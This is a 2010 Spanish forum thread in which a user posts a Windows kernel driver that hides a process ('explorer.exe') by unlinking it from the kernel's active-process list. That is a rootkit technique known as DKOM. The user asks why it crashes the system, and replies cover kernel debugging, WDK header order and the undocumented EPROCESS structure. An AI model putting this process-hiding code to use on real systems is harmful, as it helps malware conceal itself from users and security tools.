Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: Air_Dragon en 29 Julio 2010, 21:30 pm



Título: Ayuda con driver
Publicado por: Air_Dragon en 29 Julio 2010, 21:30 pm
Hola, estoy usando este codigo posteado por Hendrix  http://foro.elhacker.net/programacion_cc/modo_kernel_listando_procesos_incluso_ocultos_por_dkom_simple-t282019.0.html;msg1390274 (http://foro.elhacker.net/programacion_cc/modo_kernel_listando_procesos_incluso_ocultos_por_dkom_simple-t282019.0.html;msg1390274)

Lo que me pasa es que cuando lo cargo me sale pantalla azul.. y reinicio de la pc.. o sea se muere todo.. me pasa en XP, Vista y Seven.. talvez tiene algo incorrecto el Codigo, si alguien puede ayudarme le agradezco ..:)

Código:
#include <ntddk.h>
#include <ntifs.h>
 
void Salir(PDRIVER_OBJECT DriverObject)
{
    DbgPrint("Saliendo");
}
 
void HideProcess( char* input )
{
PEPROCESS PeProcess = NULL;
PLIST_ENTRY pNextEntry, pListHead;
PLIST_ENTRY BeforeProcess,Process,AfterProcess;
PeProcess = PsGetCurrentProcess();
if(!PeProcess)
return;
if(IsListEmpty(&PeProcess->ActiveProcessLinks))
return;
else
{
pListHead = &PeProcess->ActiveProcessLinks;
pNextEntry = pListHead->Flink;
 
while(pNextEntry != pListHead)
{
PeProcess = CONTAINING_RECORD( pNextEntry,EPROCESS,ActiveProcessLinks );
if(PeProcess->ActiveThreads)
{
if( !IsListEmpty( &PeProcess->ThreadListHead ) )
{
if( _strnicmp( PeProcess->ImageFileName, input ,strlen(input) ) == 0 )
{
Process = pNextEntry;
BeforeProcess = pNextEntry->Blink;
AfterProcess = pNextEntry->Flink;
BeforeProcess->Flink = Process->Flink;
AfterProcess->Blink = Process->Blink;
return;
}
}
}
PeProcess = NULL;
pNextEntry = pNextEntry->Flink;
}
}
return;
}
 
NTSTATUS DriverEntry( PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
NTSTATUS s;
int i=0;
int e = 0;
int nstruct = 0;
int cont = 0;
unsigned long pid;
PUNICODE_STRING pUnicode_NAme;
ANSI_STRING stri;
PEPROCESS eproc;
 
    DriverObject->DriverUnload=Salir;
 
DbgPrint("Escondiendo explorer.exe...");
HideProcess("explorer.exe");
DbgPrint("Trabajo terminado :)");
return  STATUS_SUCCESS;
}


Título: Re: Ayuda con driver
Publicado por: Eternal Idol en 29 Julio 2010, 21:44 pm
¿Lo entendes? ¿Leiste el otro hilo completo?

Genera un dump o depuralo.


Título: Re: Ayuda con driver
Publicado por: Air_Dragon en 29 Julio 2010, 21:51 pm
Si lo lei, tb me lei todo el tuto que el mismo hendrix hizo de como programar los drivers..

Evidentemente hay algo q estoy haciendo mal.. por eso posteo por aqui...

Como puedo debuguear el driver? xq cuando lo testeo con osrloader, se me cuelga todo ^^


Título: Re: Ayuda con driver
Publicado por: Eternal Idol en 29 Julio 2010, 22:08 pm
Necesitas dos maquinas y puerto COM o firewire, tambien podes hacerlo en una maquina virtual con un puerto COM.

Busca en Google: kernel debugging windbg.


PD. No se ni como generas el codigo con las cabeceras que tiene y las estructuras indefinidas.


Título: Re: Ayuda con driver
Publicado por: Air_Dragon en 29 Julio 2010, 22:37 pm
Voy a leer eso del debug...
uso las librerias por defecto de SDK

#include <ntddk.h>
#include <ntifs.h>





Título: Re: Ayuda con driver
Publicado por: Eternal Idol en 29 Julio 2010, 22:43 pm
Son del WDK (antiguo DDK) e historicamente no se usan las dos al mismo tiempo, se usa una o la otra. Desde la version de Vista del WDK se puede incluir ntifs.h y despues ntddk.h (lo que es redundante) pero haciendo lo contrario hay errores de doble definicion ...

Cita de: WDK
Organization of Wdm.h, Ntddk.h, and Ntifs.h
Before the Windows Vista version of the WDK, the main header files that are used driver development—Wdm.h, Ntddk.h, and Ntifs.h—contained many duplicate declarations.

Beginning with the Windows Vista version of the WDK, Wdm.h, Ntddk.h, and Ntifs.h are organized hierarchically and do not contain duplicate information. The higher-level files include the lower-level files. Each function and structure declaration appears only once.

Ntifs.h includes Ntddk.h, and Ntddk.h includes Wdm.h.

Cita de: WDK
Files that are higher in the hierarchy include files that are lower in the hierarchy. Specifically, Ntifs.h includes Ntddk.h, which includes Wdm.h. This hierarchy eliminates the duplication of contents that occurred when the files were not hierarchical.

Igual poniendo el orden correcto tampoco compila el codigo ... tal vez con un WDK mas moderno que el codigo que si defina los campos de EPROCESS ...


Título: Re: Ayuda con driver
Publicado por: Air_Dragon en 29 Julio 2010, 23:31 pm
Es que a mi me compila, claro comente algunas declaraciones repetidas, xq no lo hice como posteas ahi, no me di cuenta q estaban re declaradas xq una libreria incluia otra...

Compila sin problemas, el crash de windows es cuando le doy Run al driver..



Título: Re: Ayuda con driver
Publicado por: Eternal Idol en 29 Julio 2010, 23:38 pm
¿Editaste los archivos del WDK para poder generar el binario? Podrias decir que version usas y pegar el contenido del archivo SOURCES para ver como lo generas.

PD. No estan redeclaradas por lo contrario actualmente, originalmente iban separadas, incluso existia el DDK (ntddk.h) y el IFS (ntifs.h).


Título: Re: Ayuda con driver
Publicado por: Air_Dragon en 29 Julio 2010, 23:43 pm
Version: 7600.16385.1 (creo que es la ultima)

Makefile
Código:
!INCLUDE $(NTMAKEENV)\makefile.def

Source
Código:
TARGETNAME=Protect
TARGETTYPE=DRIVER
TARGETPATH=obj


INCLUDES=..\..\inc

SOURCES = driver.c

Y el .c esta posteado arriba, me genera eso si 2 warnings..

Código:
48    NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)  
  
         driver.c(48) : warning 28101: The Drivers module has inferred that the current function is a DRIVER_INITIALIZE function: This is informational only. No problem has been detected.
Found in function 'DriverEntry'
48  

Código:
59        DriverObject->DriverUnload=Salir;   
  
         driver.c(59) : warning 28155: The function being assigned or passed should be a DRIVER_UNLOAD function: Add the declaration 'DRIVER_UNLOAD Salir;' before the current first declaration of Salir.
Found in function 'DriverEntry'
59  
 



Título: Re: Ayuda con driver
Publicado por: Eternal Idol en 29 Julio 2010, 23:51 pm
Tendre que bajar la ultima version entonces ...

\winddk\6000\inc\ddk\ntifs.h(85) : error C2371: 'PEPROCESS' : redefinition; different basic types
\winddk\6000\inc\ddk\ntifs.h(86) : error C2371: 'PETHREAD' : redefinition; different basic types

driver.c(18) : error C2037: left of 'ActiveProcessLinks' specifies undefined struct/union '_KPROCESS'


Título: Re: Ayuda con driver
Publicado por: Air_Dragon en 29 Julio 2010, 23:56 pm
Sabes que ahora q volvi a mirar... no me andaba con ntifs original, tuve q bajar una te la adjunto aca..

http://www.megaupload.com/?d=ORRWXPOP


Título: Re: Ayuda con driver
Publicado por: Eternal Idol en 30 Julio 2010, 00:17 am
Es decir que acabo de bajar el ultimo WDK al reverendo pedo  :¬¬

En ese hilo yo decia que hay que tener cuidado con los offsets hardcodeados. Bueno, el WDK no trae esa estructura definida por una razon: puede (y lo hace) cambiar de version a version.

Cita de: WDK
The EPROCESS structure is an opaque structure that serves as the process object for a process.


Veamos el archivo ese:

This is a free version of the file ntifs.h, release 56.
    The purpose of this include file is to build file system and
    file system filter drivers for Windows NT®, Windows® 2000,
    Windows® XP and Windows® Server 2003.


DISCLAIMER: I do not encourage anyone to use this include file to build
    drivers used in production. The information in this include file is
    incomplete and intended only as an studying companion. The information
    has been found in books, magazines, on the Internet and received from
    contributors. Some of the information in this file may not be available
    in other publications intended for similar use, these should be used with
    extra care. Some of the information in this file may have different names
    than in other publications even though they describe the same thing.


En fin que no es el archivo oficial que deberias usar ... leelo y vas a ver como define EPROCESS y con que metodo.